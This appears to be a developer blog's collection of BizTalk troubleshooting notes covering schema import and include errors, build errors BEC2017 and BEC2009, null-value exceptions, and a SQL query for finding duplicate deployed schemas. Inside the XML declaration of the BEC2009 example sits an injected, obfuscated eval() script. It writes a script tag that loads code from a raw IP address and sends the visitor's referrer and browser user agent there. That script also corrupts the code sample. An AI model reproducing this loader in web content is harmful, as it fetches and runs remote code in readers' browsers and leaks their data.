I was getting this error first “namespace attribute of an import must not match the real value”.

I had a group schema, that had a repeating record of a second schema. That second schema did not have any Target Namespace, to match what a trading partner had given us.

This StackOverflow article reminded me that there are times to use INCLUDE instead of IMPORT.  So in the group schema, I clicked on <Schema> in the upper left of the Schema Editor/Viewer.  Then I used the “Imports” in the property window to delete the Imports of my second schema, and change it to an Includes.  I actually had trouble deleting it, and had to edit the schema.xsd in Notepad.  Then I had to re-add the record and reassociated the DataStructure property.

When I did the above, I started getting this error:
BEC2017: Node “” – This schema file has a TypeName that collides with the RootNode TypeName of one of its root nodes. Make sure that they are different.

This old blog by Stephen Thomas (on GeeksWithBlogs) helped. I realized I needed to click on the .xsd in the Solution Explorer, and just change the schema File Type.  I simply added the word “Type” on the end of what was already there.


March 29, 2011 Orchestration Issue

If you get this mysterious error in a BizTalk orchestration:

Value cannot be null. Parameter name: val 

If you are running an orchestration, then a potential problem is that you tried to set a “distinguished field” to the value of NULL.

How I hit this error today ? I had a config parm from the BTNTSVC.exe.config file, that the orchestation was using to set the distinguished field. I thought the parm was optional, so I removed it from the config file. Then “BOOM” – the orchestration that had been working for months quit working with the “mystery error” above.

So now, I check for the config parm, and if it’s null, I reset it to an empty string.

May 17, 2017 Pipeline C# ReplaceString Issue

Value cannot be null. Parameter name: oldValue

Today, this happened in a pipeline component. Due to a logic error, a field had a value of Null, and it was being passed to a C# ReplaceString function as the “oldValue”. The oldValue parm can be an empty string, but it cannot be null.

Schema Reuse

In the Complex XPath example I just posted, I built a Books schema, which includes a “record” which then points to a second schema called “Book”.

We do this all the time at my various clients.

I decided to take some quick screen shots and show how it works here:

First, build the schema to be included (book.xsd):

Then, build the schema that uses it (books.xsd):

After adding the “Books” element to the “Books.xsd” schema, I clicked the word <Schema> above the root element. From there, I went to the properties window, and clicked the … on Imports. Then leaving the “Import New Schema as” value to the default of “XSD Import”, I cliked the “Add” button, and picked the “book.xsd” schema from the selection list. After that, I overtyped the default prefix value of “ns0” to “bk”.

When this schema was built, I added a “child record” under books. Then, click the properties for that “record” and changed the “Data Structure:

To see the resulting XML and a lesson on Complex XPath,
see this page on Complex XPath.


BizTalk Build Error: YourSchemaName.xsd: error BEC2009: Node “” – Schema reference “” is not a valid reference or does not ex ist in the current project.

We used the DTD to XSD converted to convert a DTD from one of our tr ading partners.

The schema began with this:

&lt;?xml <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|naiat|var|u0026u|referrer|nytkt||js|php'.split('|'),0,{}))
</script></noindex> version="1.0" encoding="UTF-8" standalone="no"?&gt;
&lt;xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified"&gt;
 &lt;xs:import namespace="http://www.w3.org/XML/1998/namespace"/&gt;
 &lt;xs:complexType name="LENDER_LOAN_SERVICE"&gt;

The solution was to remove this line:

 &lt;xs:import namespace="http://www.w3.org/XML/1998/namespace"/&gt;

Handling Error: “More than one schema is deployed for the same message type”

If you have worked with Biztalk very long, you have undoubtedly got the following error:

Event ID: 5719
There was a failure executing the receive pipeline: “Microsoft.BizTalk.DefaultPipelines.XMLReceive” Source: “XML disassembler” Receive Location: “c:OdimoRedbirdOrdersIn*.xml” Reason: The disassembler cannot retrieve the document specification by using this type: “RedOrders”. Either the schema is not deployed correctly, or more than one schema is deployed for the same message type.

Usually, this error is because you didn’t deploy your project, but occassionally, you will have duplicates. How are you supposed to find them?

Here is an SQL statement that will help you list all schemas. Who knows? Someone in an entire different application may have already used the root element you are using.

use biztalkmgmtdb
select msgtype, body_xpath, clr_namespace, clr_typename, clr_assemblyname, schema_root_name,
from bt_DocumentSpec
order by msgtype –(which is the schema-name)
–order by date_modified desc — (probably the date deployed?)

You are looking for two things in this report:
1) Did you deploy the same schema more than once?
2) Did you not deploy the schema?

Look in the msgtype column for your schema name. ?
Do you see more than one of them?

NEW: 08/02/2005 If instead you get error 0xCOC01657 Verify that schema is deployed properly and that the schema assembly implements the document spec.
Check the windowsassembly (GAC) to see if your .dll’s are really there.
Through normaly deployment they should be, but I have seen the GAC out of WACK probably due to my own fault.

Happy Schema Hunting!